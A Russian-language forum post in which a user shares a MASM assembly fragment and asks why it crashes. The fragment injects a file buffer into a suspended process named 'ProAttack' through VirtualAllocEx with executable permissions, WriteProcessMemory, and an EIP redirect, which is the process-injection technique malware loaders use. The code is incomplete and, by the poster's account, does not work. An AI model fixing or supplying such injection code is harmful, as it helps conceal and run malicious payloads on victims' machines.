Код (Text): ; [FilePack] - File Data ; [MaxFileSize] - File Size ; mov stri.cb, sizeof stri invoke CreateProcess, 0, addr ProAttack, 0, 0, 0, CREATE_SUSPENDED, 0, 0, addr stri, addr prci invoke VirtualAllocEx, prci.hProcess, 0, MaxFileSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE mov hNewModule, eax invoke WriteProcessMemory, prci.hProcess, hNewModule, FilePack, MaxFileSize, addr dwBytesWritten mov Ctxt.ContextFlags, CONTEXT_FULL invoke GetThreadContext, prci.hThread, addr Ctxt mov edi,hNewModule mov Ctxt.regEip, edi invoke SetThreadContext, prci.hThread, addr Ctxt invoke ResumeThread, prci.hThread Почему не работает? Вроде все правильно. Создает процесс 56кб потом после Write 60кб и под ResumeThread без ошибки вылетает.